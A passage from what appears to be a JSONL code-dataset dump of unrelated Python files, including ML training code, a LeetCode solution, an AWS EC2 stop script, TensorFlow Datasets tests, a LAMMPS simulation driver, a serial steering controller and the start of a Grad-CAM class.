au_train_lab = load_data_au('data/auTrain.npz')\n au_test_img, au_test_lab = load_data_au('data/auTest.npz')\n\n recognizer = skl.CrossvalidatedSVMLearner()\n recognizer.train(au_train_img, au_train_lab)\n predictions = recognizer.predict(au_test_img)\n\n evaluator = eval.ModelEvaluator()\n report = evaluator.create_report(predictions.astype(np.int32), au_test_lab.astype(np.int32))\n error_rate = evaluator.get_error_rate(predictions.astype(np.int32), au_test_lab.astype(np.int32))\n\n print(\"Error Rate: \")\n print(error_rate)\n\n print(\"Detailed classification report:\")\n print(report)\n\n print(\"Training time: {} seconds\".format(recognizer.trainingtime))\n\nif __name__ == \"__main__\":\n\n\n runNNExperiment()\n\n # TODO:Refactor to include dropout rate\n # TODO:Log and save acuracy during training both insample and out of sample (after eeach epoch)\n # TODO:Implement 3 layer neural network\n # TODO:Implement an svm see assignment\n # TODO:Save svm\n # TODO:Tune model even more\n # TODO:Create prediction function to handin\n # TODO: Write report\n","sub_path":"Python/src/Handin 2/main/nnprediction.py","file_name":"nnprediction.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"209341739","text":"# https://leetcode.com/explore/learn/card/hash-table/183/combination-with-other-algorithms/1131/\nclass Solution:\n def isHappy(self, n: int) -> bool:\n i = n\n loop = set()\n while i >= 1:\n if i == 1:\n return True\n elif i in loop:\n return False\n else:\n loop.add(i)\n i = sum([int(c)*int(c) for c in str(i)])\n \n","sub_path":"assignments/week2/day2/1131.py","file_name":"1131.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"359075906","text":"#Stopp tagged instances\n\nimport boto3 \nec2client = boto3.client('ec2')\nresponse = ec2client.describe_instances(\n Filters=[\n {\n 'Name': 'tag:'+'Start',\n 'Values': [\n 'Everyday',]\n },\n ]\n)\nfor reservation in response[\"Reservations\"]:\n for instance in reservation[\"Instances\"]:\n instanceid = instance['InstanceId']\n print (instanceid)\n ec2client.stop_instances(InstanceIds=[instanceid])\n\n\n","sub_path":"python/stopinstances.py","file_name":"stopinstances.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"337000899","text":"import torch\nimport itertools\nfrom util.image_pool import ImagePool\nfrom .base_model import BaseModel\nfrom . import networks_reid\n\n\nclass LRReidModel(BaseModel):\n def name(self):\n return 'LRReidModel'\n\n @staticmethod\n def modify_commandline_options(parser, is_train=True):\n # default CycleGAN did not use dropout\n parser.set_defaults(no_dropout=True)\n # reid parameters, put the parameter num_classes in the dataset\n parser.add_argument('--droprate', type=float, default=0.5, help='the dropout ratio in reid model')\n parser.add_argument('--NR', action='store_true', help='use the normal resolution dataset')\n if is_train:\n parser.add_argument('--lambda_A', type=float, default=10.0, help='weight for cycle loss (A -> B -> A)')\n parser.add_argument('--lambda_B', type=float, default=10.0,\n help='weight for cycle loss (B -> A -> B)')\n parser.add_argument('--lambda_identity', type=float, default=0.5, help='use identity mapping. Setting lambda_identity other than 0 has an effect of scaling the weight of the identity mapping loss. For example, if the weight of the identity loss should be 10 times smaller than the weight of the reconstruction loss, please set lambda_identity = 0.1')\n return parser\n\n def initialize(self, opt):\n BaseModel.initialize(self, opt)\n\n # specify the training losses you want to print out. The program will call base_model.get_current_losses\n self.loss_names = ['reid']\n # specify the images you want to save/display. The program will call base_model.get_current_visuals\n visual_names_A = ['img']\n visual_names_B = []\n\n self.visual_names = visual_names_A + visual_names_B\n # specify the models you want to save to the disk. The program will call base_model.save_networks and base_model.load_networks\n self.model_names = ['D_reid']\n\n # define the re-id network\n # Load a pre-trained resnet model and reset the final connected layer\n # the dropout layer is in the classifier\n if self.isTrain:\n self.netD_reid = networks_reid.ft_net(opt.num_classes, opt.droprate)\n else:\n self.netD_reid = networks_reid.ft_net(opt.num_classes)\n\n # use gpu\n self.netD_reid = self.netD_reid.to(self.device)\n # self.netD_reid = torch.nn.DataParallel(self.netD_reid, opt.gpu_ids)\n\n if self.isTrain:\n self.criterionReid = torch.nn.CrossEntropyLoss()\n # initialize reid optimizer\n ignored_params = list(map(id, self.netD_reid.model.fc.parameters())) + \\\n list(map(id, self.netD_reid.classifier.parameters()))\n base_params = filter(lambda p: id(p) not in ignored_params, self.netD_reid.parameters())\n self.optimizer_D_reid = torch.optim.SGD([\n {'params': base_params, 'lr': 0.1*opt.reid_lr},\n {'params': self.netD_reid.classifier.parameters(), 'lr': opt.reid_lr}\n ], weight_decay=5e-4, momentum=0.9, nesterov=True)\n\n self.optimizer_reid.append(self.optimizer_D_reid)\n\n def set_input(self, input):\n self.img = input['img'].to(self.device)\n self.img_label = input['img_label'].to(self.device)\n self.image_paths = input['img_paths'] # list\n\n def forward(self):\n if self.isTrain:\n # self.netD_reid.train(True) # Set model to training mode\n self.netD_reid = self.netD_reid.train()\n\n # training: 1 * num_classes prediction vector,\n # test: 1 * 2048 feature vector\n self.pred_img = self.netD_reid(self.img)\n\n\n def extract_features(self):\n # Remove the final fc layer and classifier layer\n self.netD_reid.model.fc = torch.nn.Sequential()\n self.netD_reid.classifier = torch.nn.Sequential()\n # self.netD_reid.train(False) # Set model to evaluate mode\n self.netD_reid = self.netD_reid.eval()\n\n # extract_feature\n f = self.netD_reid(self.img) # A_label HR\n\n # norm feature\n fnorm = torch.norm(f, p=2, dim=1, keepdim=True)\n f = f.div(fnorm.expand_as(f))\n\n # f = f.squeeze().data.cpu()\n f = f.data.cpu()\n self.features = torch.cat((self.features, f), 0)\n\n\n def backward_G(self):\n _, pred_label_img = torch.max(self.pred_img, 1)\n self.corrects += float(torch.sum(pred_label_img == self.img_label))\n self.loss_reid = self.criterionReid(self.pred_img, self.img_label)\n\n self.loss_G = self.loss_reid\n self.loss_G.backward()\n\n def optimize_parameters(self):\n # forward\n self.forward()\n # G_A and G_B\n self.optimizer_D_reid.zero_grad()\n self.backward_G()\n self.optimizer_D_reid.step()\n","sub_path":"models/LR_reid_model.py","file_name":"LR_reid_model.py","file_ext":"py","file_size_in_byte":4863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"497539758","text":"# coding=utf-8\n# Copyright 2018 The TensorFlow Datasets Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for tensorflow_datasets.core.download.download_manager.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport hashlib\nimport json\nimport os\nimport re\nimport tempfile\nimport threading\n\nimport promise\nimport tensorflow as tf\nfrom tensorflow_datasets.core.download import download_manager as dm\nfrom tensorflow_datasets.core.download import resource as resource_lib\n\n\nZIP = resource_lib.ExtractMethod.ZIP\nTAR = resource_lib.ExtractMethod.TAR\nNO_EXTRACT = resource_lib.ExtractMethod.NO_EXTRACT\n\n\ndef _get_promise_on_event(result=None, error=None):\n \"\"\"Returns (event, Promise). Promise is fulfilled when `event.set()`.\"\"\"\n event = threading.Event()\n def callback(resolve, reject):\n def inside():\n event.wait()\n if error is not None:\n reject(error)\n resolve(result)\n t = threading.Thread(target=inside)\n t.daemon = True\n t.start()\n return event, promise.Promise(callback)\n\n\ndef _sha256(str_):\n return hashlib.sha256(str_.encode('utf8')).hexdigest()\n\n\nclass DownloadManagerTest(tf.test.TestCase):\n\n def _add_file(self, path, content='', mode='w'):\n \"\"\"Returns open file handle.\"\"\"\n temp_f = tempfile.NamedTemporaryFile(mode=mode, delete=False)\n self.files_content[path] = temp_f.name\n temp_f.write(content)\n temp_f.close()\n self.existing_paths.append(path)\n return temp_f\n\n def setUp(self):\n self.addCleanup(tf.test.mock.patch.stopall)\n self.existing_paths = []\n self.made_dirs = []\n self.dl_results = {}\n self.extract_results = {}\n self.file_names = {} # url_sha -> original file name\n def list_directory(path):\n sha = os.path.basename(path).split('.')[0]\n return [self.file_names.get(sha, 'file_with_no_ext')]\n self.files_content = {}\n def open_(path, mode='r'):\n if 'w' in mode:\n self._add_file(path)\n return open(self.files_content[path], mode)\n def rename(from_, to, overwrite=False):\n del overwrite\n if from_ in self.files_content:\n self.existing_paths.append(to)\n self.existing_paths.remove(from_)\n self.files_content[to] = self.files_content.pop(from_)\n self.gfile_patch = tf.test.mock.patch.object(\n tf, 'gfile',\n Exists=lambda path: path in self.existing_paths,\n MakeDirs=self.made_dirs.append,\n # Used to get name of file as downloaded:\n ListDirectory=list_directory,\n Open=open_,\n Rename=tf.test.mock.Mock(side_effect=rename),\n )\n self.gfile = self.gfile_patch.start()\n\n def tearDown(self):\n self.gfile_patch.stop()\n\n def _write_info(self, path, info):\n content = json.dumps(info, sort_keys=True)\n self._add_file(path, content)\n\n def _get_manager(self, force_download=False, force_extraction=False,\n checksums=None):\n manager = dm.DownloadManager(\n 'my_dataset', '/dl_dir', '/extract_dir', '/manual_dir',\n force_download=force_download, force_extraction=force_extraction,\n checksums=checksums)\n download = tf.test.mock.patch.object(\n manager._downloader, 'download',\n side_effect=lambda resource, tmpdir_path: self.dl_results[resource.url])\n self.downloader_download = download.start()\n extract = tf.test.mock.patch.object(\n manager._extractor, 'extract',\n side_effect=lambda resource, dest: self.extract_results[resource.path])\n self.extractor_extract = extract.start()\n return manager\n\n def test_download(self):\n \"\"\"One file in cache, one not.\"\"\"\n urls = {\n 'cached': resource_lib.Resource(url='http://a.ch/a'),\n 'new': resource_lib.Resource(url='https://a.ch/b'),\n # INFO file of c has been deleted:\n 'info_deleted': resource_lib.Resource(url='https://a.ch/c'),\n }\n urla_sha256 = _sha256('http://a.ch/a')\n urlb_sha256 = _sha256('https://a.ch/b')\n urlc_sha256 = _sha256('https://a.ch/c')\n _ = [self._add_file(path) for path in [\n '/dl_dir/%s' % urla_sha256,\n '/dl_dir/%s.INFO' % urla_sha256,\n '/dl_dir/%s' % urlc_sha256,\n ]]\n downloaded_b, self.dl_results['https://a.ch/b'] = _get_promise_on_event(\n ('sha_b', 10))\n downloaded_c, self.dl_results['https://a.ch/c'] = _get_promise_on_event(\n ('sha_c', 10))\n manager = self._get_manager()\n res = manager.download(urls, async_=True)\n self.assertFalse(res.is_fulfilled)\n downloaded_b.set()\n downloaded_c.set()\n downloads = res.get()\n self.assertEqual(downloads, {\n 'cached': '/dl_dir/%s' % urla_sha256,\n 'new': '/dl_dir/%s' % urlb_sha256,\n 'info_deleted': '/dl_dir/%s' % urlc_sha256,\n })\n\n def test_extract(self):\n \"\"\"One file already extracted, one file with NO_EXTRACT, one to extract.\"\"\"\n files = {\n 'cached': resource_lib.Resource(path='/dl_dir/cached',\n extract_method=ZIP),\n 'new': resource_lib.Resource(path='/dl_dir/new', extract_method=TAR),\n 'noextract': resource_lib.Resource(path='/dl_dir/noextract',\n extract_method=NO_EXTRACT),\n }\n self.existing_paths.append('/extract_dir/ZIP.cached')\n extracted_new, self.extract_results['/dl_dir/new'] = _get_promise_on_event(\n '/extract_dir/TAR.new')\n manager = self._get_manager()\n res = manager.extract(files, async_=True)\n self.assertFalse(res.is_fulfilled)\n extracted_new.set()\n self.assertEqual(res.get(), {\n 'cached': '/extract_dir/ZIP.cached',\n 'new': '/extract_dir/TAR.new',\n 'noextract': '/dl_dir/noextract',\n })\n\n def test_download_and_extract(self):\n url_a = 'http://a/a.zip'\n url_b = 'http://b/b'\n url_a_sha = _sha256(url_a)\n url_b_sha = _sha256(url_b)\n self.file_names[url_a_sha] = 'a.zip'\n dl_a, self.dl_results[url_a] = _get_promise_on_event(('sha_a', 10))\n dl_b, self.dl_results[url_b] = _get_promise_on_event(('sha_b', 10))\n ext_a, self.extract_results['/dl_dir/%s' % url_a_sha] = (\n _get_promise_on_event('/extract_dir/ZIP.%s' % url_a_sha))\n # url_b doesn't need any extraction.\n for event in [dl_a, dl_b, ext_a]:\n event.set()\n manager = self._get_manager()\n res = manager.download_and_extract({'a': url_a, 'b': url_b})\n self.assertEqual(res, {\n 'a': '/extract_dir/ZIP.%s' % url_a_sha,\n 'b': '/dl_dir/%s' % url_b_sha})\n\n def test_download_and_extract_already_downloaded(self):\n url_a = 'http://a/a.zip'\n url_a_sha = _sha256(url_a)\n self.file_names[url_a_sha] = 'a.zip'\n # File was already downloaded:\n self._add_file('/dl_dir/%s' % url_a_sha)\n self._write_info('/dl_dir/%s.INFO' % url_a_sha, {'original_fname': 'a.zip'})\n ext_a, self.extract_results['/dl_dir/%s' % url_a_sha] = (\n _get_promise_on_event('/extract_dir/ZIP.%s' % url_a_sha))\n ext_a.set()\n manager = self._get_manager()\n res = manager.download_and_extract(url_a)\n self.assertEqual(res, '/extract_dir/ZIP.%s' % url_a_sha)\n\n def test_force_download_and_extract(self):\n url = 'http://a/b.tar.gz'\n url_sha = _sha256(url)\n # resource was already downloaded / extracted:\n self.existing_paths = ['/dl_dir/%s' % url_sha,\n '/extract_dir/TAR_GZ.%s' % url_sha]\n self.file_names[url_sha] = 'b.tar.gz'\n self._write_info('/dl_dir/%s.INFO' % url_sha,\n {'original_fname': 'b.tar.gz'})\n dl_a, self.dl_results[url] = _get_promise_on_event(('sha_a', 10))\n ext_a, self.extract_results['/dl_dir/%s' % url_sha] = (\n _get_promise_on_event('/extract_dir/TAR_GZ.%s' % url_sha))\n dl_a.set()\n ext_a.set()\n manager = self._get_manager(force_download=True, force_extraction=True,\n checksums={url: 'sha_a'})\n res = manager.download_and_extract(url)\n self.assertEqual('/extract_dir/TAR_GZ.%s' % url_sha, res)\n # Rename after download:\n (from_, to), kwargs = self.gfile.Rename.call_args\n self.assertTrue(re.match(\n r'/dl_dir/%s\\.tmp\\.[a-h0-9]{32}/b.tar.gz' % url_sha, from_))\n self.assertEqual('/dl_dir/%s' % url_sha, to)\n self.assertEqual(kwargs, {'overwrite': True})\n self.assertEqual(1, self.downloader_download.call_count)\n self.assertEqual(1, self.extractor_extract.call_count)\n\n def test_wrong_checksum(self):\n url = 'http://a/b.tar.gz'\n dl_a, self.dl_results[url] = _get_promise_on_event(('sha_a', 10))\n dl_a.set()\n manager = self._get_manager(checksums={url: 'sha_b'})\n with self.assertRaises(dm.NonMatchingChecksumError):\n manager.download(url)\n self.assertEqual(0, self.extractor_extract.call_count)\n\n\nif __name__ == '__main__':\n tf.test.main()\n","sub_path":"tensorflow_datasets/core/download/download_manager_test.py","file_name":"download_manager_test.py","file_ext":"py","file_size_in_byte":9293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"242155070","text":"from graph import Graph\nfrom util import Stack\n\n\nclass AncestorGraph:\n def __init__(self):\n self.vertices = {}\n\n def add_vertex(self, vertex):\n self.vertices[vertex] = set()\n\n def add_edge(self, v1, v2):\n if v1 in self.vertices and v2 in self.vertices:\n # self.vertices[v1].add(v2)\n self.vertices[v2].add(v1)\n\n # def print_verts(self):\n # print(self.vertices)\n\n\ndef earliest_ancestor(ancestors, starting_node):\n \"\"\"\n Write a function that, given the dataset and the ID of an individual in the dataset, \n returns their earliest known ancestor – the one at the farthest distance from the input individual.\n If there is more than one ancestor tied for \"earliest\", \n return the one with the lowest numeric ID. If the input individual has no parents, the function should return -1.\n 25 lines\n\n \"\"\"\n # build the goddamn graph\n # ancestors is a list of pairs, we need to loop through it and find our verts and edges\n vert_list = []\n for ancestor in ancestors:\n # print(ancestor)\n vert_list.append(ancestor[0])\n vert_list.append(ancestor[1])\n # vert_list.sort()\n # print(vert_list)\n # create verts for each unique value in vert_list\n graph = AncestorGraph()\n for v in vert_list:\n graph.add_vertex(v)\n # graph.print_verts()\n # need to add edges\n for ancestor in ancestors:\n graph.add_edge(ancestor[0], ancestor[1])\n # graph built! now traverse and find the furthest ancestor away from starting_node\n # Going to use a Depth First Traversal\n # Create an empty stack, push starting node to stack\n s = Stack()\n s.push(starting_node)\n # Create a Set to store visited vertices\n visited = set()\n # list to hold found ancestors\n ancestor_list = []\n # While the stack is not empty...\n while s.size() > 0:\n # Pop the first vertex\n v = s.pop()\n # If that vertex has not been visited...\n if v not in visited:\n # Mark it as visited...\n visited.add(v)\n # Then add all of its neighbors to the top of the stack\n for neighbor in graph.vertices[v]:\n # print(neighbor, 'neigh')\n # append the nighbors to ancestor list. This works such that when it finishes the DFT,\n # the furthest neighbor(ancestor) away is at the end of the list.\n ancestor_list.append(neighbor)\n # push neighbor to keep traversing\n s.push(neighbor)\n # print(ancestor_list, 'ans list')\n # if the ancestor list is empty, then there are no parents. return -1\n if len(ancestor_list) == 0:\n answer = -1\n # else, there are parents, and we want the last one, which is also the furthest away\n else:\n answer = ancestor_list[-1]\n\n # print(answer)\n return answer\n\n\ntest_ancestors = [(1, 3), (2, 3), (3, 6), (5, 6), (5, 7),\n (4, 5), (4, 8), (8, 9), (11, 8), (10, 1)]\n\n# earliest_ancestor(test_ancestors, 4)\n\n\n\"\"\"\n\n s = Stack()\n s.push([starting_node])\n # Create a Set to store visited vertices\n visited = set()\n ancestor_list = []\n # While the stack is not empty...\n while s.size() > 0:\n # Pop the first vertex\n v = s.pop()\n # If that vertex has not been visited...\n if v not in visited:\n # Mark it as visited...\n # print(v, 'non recur print')\n ancestor_list.append(v)\n visited.add(v)\n # Then add all of its neighbors to the top of the stack\n # print(graph.vertices[v], 'graph.verts')\n for neighbor in graph.vertices[v]:\n s.push(neighbor)\n answer = ancestor_list[-1]\n print(ancestor_list)\n if len(ancestor_list) == 1:\n answer = -1\n\n print(answer)\n return answer\n\n\n\"\"\"\n","sub_path":"projects/ancestor/ancestor.py","file_name":"ancestor.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"496629946","text":"# stdlib\nfrom typing import Any\nfrom typing import Dict as DictType\nfrom typing import List\nfrom typing import Optional\n\n# relative\nfrom .....common import UID\nfrom .....common.message import ImmediateSyftMessageWithReply\nfrom .....common.message import ImmediateSyftMessageWithoutReply\nfrom .....common.serde.serializable import serializable\n\n\n@serializable(recursive_serde=True)\nclass UpdateRequestHandlerMessage(ImmediateSyftMessageWithoutReply):\n def __init__(\n self,\n handler: DictType[str, Any],\n address: UID,\n msg_id: Optional[UID] = None,\n keep: bool = True,\n ):\n super().__init__(address=address, msg_id=msg_id)\n self.handler = handler\n self.keep = keep\n\n\n@serializable(recursive_serde=True)\nclass GetAllRequestHandlersMessage(ImmediateSyftMessageWithReply):\n __attr_allowlist__ = [\"id\", \"address\", \"reply_to\"]\n\n def __init__(self, address: UID, reply_to: UID, msg_id: Optional[UID] = None):\n super().__init__(address=address, msg_id=msg_id, reply_to=reply_to)\n\n\n@serializable(recursive_serde=True)\nclass GetAllRequestHandlersResponseMessage(ImmediateSyftMessageWithoutReply):\n __attr_allowlist__ = [\"handlers\", \"id\", \"address\"]\n\n def __init__(\n self,\n handlers: List[DictType],\n address: UID,\n msg_id: Optional[UID] = None,\n ):\n super().__init__(address=address, msg_id=msg_id)\n self.handlers = handlers\n","sub_path":"packages/syft/src/syft/core/node/common/node_service/request_handler/request_handler_messages.py","file_name":"request_handler_messages.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"552610181","text":"from example import *\n\nset_style()\nc=get_canvas()\nalg=ana([37])\n\ncrates=[x+1 for x in xrange(9)]\nslots=[x+4 for x in xrange(15)]\nfor crate in crates:\n for slot in slots:\n if crate == 1 and (slot < 8 or slot >17): continue\n if crate == 9 and (slot < 7 ): continue\n g=alg.PulsedGraph(crate,slot)\n g.Draw(\"AP\")\n c.Update()\n c.SaveAs(\"run37/Run37_Pulsed_%02d_%02d.eps\" % (crate,slot))\n g=alg.UnPulsedGraph(crate,slot)\n g.Draw(\"AP\")\n c.Update()\n c.SaveAs(\"run37/Run37_UnPulsed_%02d_%02d.eps\" % (crate,slot))\n","sub_path":"PulseAnaCPP/mac/batch_ana_run37.py","file_name":"batch_ana_run37.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"41093693","text":"# System packages\nimport os\nimport sys\nimport time\nimport statistics as s\nimport time as t\n\n\n'''\n A python script for generating MgO.txt files with \n perturbed lattice parameters.\n\n Developed by Eric Lindgren, SNUID ericlin \n April 2020\n'''\n\n\n# Material parameters\na = 4.21079 # Å, relaxed lattice parameter\nd = 0.001 # Stretch lattice parameters 0.1% at a time\n\n# Setup\nuser = 'c2020spring'\naxis = 0 # Axis 0 for x, 1 for y, 2 for z\nN = 2\n\n# Resources -------- Change here!\nmat = 'MgO' # material\nst_txt = 'MgO.txt' # txt structure file\nin_file = 'input.MgO-opt'\ns = 1 # Size of side of supercell\n\nstart_time = t.time()\n\n# Iterate over the various strains\nfor i in range(-N,N+1):\n print()\n print(f'-------- Iteration {i+3} --------')\n ad = a*(1+d*i) # Strained lattice parameter\n filename = f'{mat}-{s}x{s}x{s}-{(1+d*i):.3f}'\n\n # Setup structure file\n with open(f'res/{st_txt}', 'r') as file:\n txt = file.readlines()\n row1 = txt[0].split(' ')\n row1[axis] = f'{ad}' # Modify the lattice parameter for current axis\n txt[0] = ' '.join(row1)\n with open(f'out/{filename}.txt', 'w') as file:\n for row in txt:\n file.write(row)\n\n # Create data file\n datafile = f'data.{filename}'\n print('\\tSetting up datafile')\n os.system(f'/home/{user}/share/lammps-data.exe out/{filename}.txt {s} {s} {s} > out/{datafile}')\n\n # Edit input file \n with open(f'res/{in_file}', 'r') as file:\n input_text = file.readlines()\n for i, row in enumerate(input_text):\n if 'variable dfile' in row:\n drow = row.split(' ')\n r = i\n break\n drow[-1] = f'out/{datafile}\\n' # Modify the lattice parameter for current axis\n input_text[r] = ' '.join(drow)\n with open(f'out/{in_file}-modified', 'w') as file:\n for row in input_text:\n file.write(row)\n file.close()\n \n # Launch calculation with mpirun\n print('\\tLaunching LAMMPS calculation')\n calc_time = t.time()\n os.system(f'mpirun -np 2 /home/bin/lmp_mpich < out/{in_file}-modified > out/output.{filename}')\n print(f'-------- LAMMPS calculation finished in: {(t.time() - calc_time):2f} s --------')\n\n\n\nprint(f'######### All calculations finished in: {(t.time() - start_time):2f} s #########')","sub_path":"SNU/introduction_to_atomistic_simulations_of_nuclear_materials/example04-mgo_elastic_constant_energy_strain/generate_mgo.py","file_name":"generate_mgo.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"164754746","text":"import threading\nfrom time import sleep\n\ndef hello_1():\n while True:\n print(\"1\")\n sleep(1)\n\ndef hello_2():\n while True:\n print(\"2\")\n sleep(1)\n\ndef hello_1_thread():\n thread=threading.Thread(target=hello_1) #thread를 동작시킬 함수를 target 에 대입해줍니다\n thread.daemon=True #프로그램 종료시 프로세스도 함께 종료 (백그라운드 재생 X)\n thread.start() #thread를 시작합니다\n\nif __name__ == \"__main__\":\n hello_1_thread()\n hello_2()\n\n# a = hello_1()\n# print(a)\n#\n# b = hello_2()\n# print(b)","sub_path":"studythreading.py","file_name":"studythreading.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"309175517","text":"import re\nimport time\nimport serial\nimport threading\n\nclass EPS():\n '''\n '''\n def __init__(self, port, baud_rate, \n steering_rate, telemetry_period,\n max_angle, max_steer, middle_steer):\n '''\n '''\n self.__port = port\n self.__baud_rate = baud_rate\n self.__client = serial.Serial(self.__port, self.__baud_rate)\n self._steering_rate = steering_rate\n self._telemetry_period = telemetry_period\n self._angle = 0\n\n self.__can_sync = threading.Event()\n \n self.__MAX_ANGLE = 32\n self.__MAX_STEER = 2000\n self.__MIDDLE_STEER = 1000\n self.__STEER_DELTA = self.__MAX_STEER - self.__MIDDLE_STEER\n\n self._stop = False\n self.__allow_send_param_msg = True\n\n self.__control_sync_thread = threading.Thread(target=self.__ctrl_sync_worker)\n self.__param_sync_thread = threading.Thread(target=self.__param_sync_worker)\n\n self.__SYNC_CTRL_MSG = 'SEND_PACKET=2C0A8782000000020000000004\\r\\n'\n self.__SYNC_PARAM_MSG = 'SEND_PACKET=2C098782000000000000000000\\r\\n'\n self.__CONTROL_MSG = 'SEND_PACKET=2C088782000000000000000000\\r\\n'\n self.__REG_CTRL_1_MSG_HEAD = 'SEND_PACKET=2C208782'\n self.__REG_CTRL_1_MSG_TAIL = '0000000008\\r\\n'\n\n def __ctrl_sync_worker(self):\n '''\n '''\n while not self._stop:\n self.__client.write(self.__SYNC_CTRL_MSG)\n time.sleep(0.01)\n self.__can_sync.set()\n time.sleep(0.04)\n\n def __param_sync_worker(self):\n '''\n '''\n while not self._stop:\n self.__can_sync.wait()\n self.__client.write(self.__SYNC_PARAM_MSG)\n self.__can_sync.clear()\n time.sleep(self._telemetry_period)\n\n def __connect(self):\n '''\n '''\n self.__client.open()\n\n self.__client.write('DISABLE INFO MESSAGE\\r\\n')\n self.__client.write('BAUDRATE_CAN=0003D090\\r\\n')\n self.__client.write('DISABLE PASSIVE MODE\\r\\n')\n self.__client.write('DISABLE BIN MODE\\r\\n')\n self.__client.write('ENABLE CAN RXTX\\r\\n')\n \n self.__client.write(self.__CONTROL_MSG)\n\n def start(self):\n '''\n '''\n self.__connect()\n\n self.__control_sync_thread.start()\n self.__param_sync_thread.start()\n\n def stop(self):\n '''\n '''\n self._stop = True\n\n self.__control_sync_thread.join()\n self.__param_sync_thread.join()\n\n def set_steering_angle(self, angle):\n '''\n '''\n if angle < -1.0:\n angle = -1.0\n elif angle > 1.0:\n angle = 1.0\n \n angle = angle * self.__MAX_ANGLE\n steer_cmd = int((angle * self.__STEER_DELTA) / self.__MAX_ANGLE + self.__MIDDLE_STEER)\n\n cmd = self.__REG_CTRL_1_MSG_HEAD\n cmd += format(self._steering_rate, '04x')\n cmd += format(steer_cmd, '04x')\n cmd += self.__REG_CTRL_1_MSG_TAIL\n self.__client.write(cmd)\n","sub_path":"nodes/eps.py","file_name":"eps.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"510449740","text":"import copy\nimport numpy as np\nfrom scipy.ndimage import zoom\nimport renom as rm\nfrom renom.layers.activation.relu import Relu\nfrom renom.cuda import is_cuda_active, set_cuda_active\nfrom renom_img.api.utility.visualize import model_types, Relu_GB, convert_relus\nfrom renom_img.api.utility.visualize.tools import visualize_grad_cam, visualize_comparison\nfrom renom_img.api.utility.visualize import vgg_cam, resnet_cam, densenet_cam, sequential_cam\n\n\nclass GuidedGradCam():\n \"\"\" Guided Grad-cam implementation for visualizing CNN classification model feature map importance\n\n Args:\n model_cam (ReNom model instance): CNN-based classification model to be used\n for creating Guided Grad-CAM saliency maps.\n Model must be ReNom instance of VGG, ResNet,\n ResNeXt or rm.Sequential. Model should use\n ReLu activation functions and be pre-trained\n on the same dataset used for Grad-CAM visualizations.\n\n Returns:\n (numpy.ndarray): Guided backpropagation array, Grad-CAM(++) saliency map array, Guided Grad-CAM(++) array\n\n Example:\n >>> #This sample uses matplotlib to display files, so it is recommended to run this inside a Jupyter Notebook\n >>>\n >>> import renom as rm\n >>> import numpy as np\n >>> from PIL import Image\n >>> import matplotlib.pyplot as plt\n >>> from matplotlib.pyplot import cm\n >>> from renom_img.api.classification.vgg import VGG16\n >>> from renom_img.api.utility.visualize.grad_cam import GuidedGradCam\n >>> from renom_img.api.utility.visualize.tools import load_img, preprocess_img, visualize_grad_cam\n >>>\n >>> model = VGG16()\n >>>\n >>> #Provide pre-trained model weights for same dataset you are producing Grad-CAM visualizations on\n >>> model.load(\"my_pretrained_weights.h5\")\n >>>\n >>> #Create Grad-CAM instance based on pre-trained model (VGG, ResNet, ResNeXt, or rm.Sequential)\n >>> grad_cam = GuidedGradCam(model)\n >>>\n >>> #Provide path to image file for producing Grad-CAM visualizations\n >>> img_path = '/home/username/path/to/images/cat_dog.jpg'\n >>>\n >>> #Load and pre-process image (must be same pre-processing as used during training)\n >>> img = Image.open(img_path)\n >>> size=(224,224)\n >>> img = load_img(img_path, size)\n >>> x = preprocess_img(img)\n >>>\n >>> #Select class_id (index of array in model's final output) to produce visualizations for. Must be consistent with class ID in trained model.\n >>> class_id = 243\n >>>\n >>> #Generate Grad-CAM maps\n >>> input_map, L, result = grad_cam(x, size, class_id=class_id, mode='normal')\n >>>\n >>> #Overlay Grad-CAM saliency map on image using matplotlib\n >>> plt.imshow(img)\n >>> plt.imshow(L, cmap = cm.jet, alpha = 0.6)\n >>> plt.axis(\"off\")\n >>> plt.savefig(\"grad_cam_sample.png\", bbox_inches='tight', pad_inches=0)\n >>>\n >>> #Visualize Guided Grad-CAM (original image, guided backpropagation, Grad-CAM saliency map, Guided Grad-CAM visualization)\n >>> visualize_grad_cam(img, input_map, L, result)\n >>>\n >>> #Generate Grad-CAM++ maps\n >>> input_map, L, result = grad_cam(x, size, class_id=class_id, mode='plus')\n >>> #Visualize results (original image, guided backpropagation, Grad-CAM++ saliency map, Guided Grad-CAM++ visualization)\n >>> visualize_grad_cam(img, input_map, L, result)\n\n References:\n | Ramprasaath R. Selvaraju, Michael Cogswell, Abhishek Das, Ramakrishna Vedantam, Devi Parikh, Dhruv Batra\n | **Grad-CAM: Visual 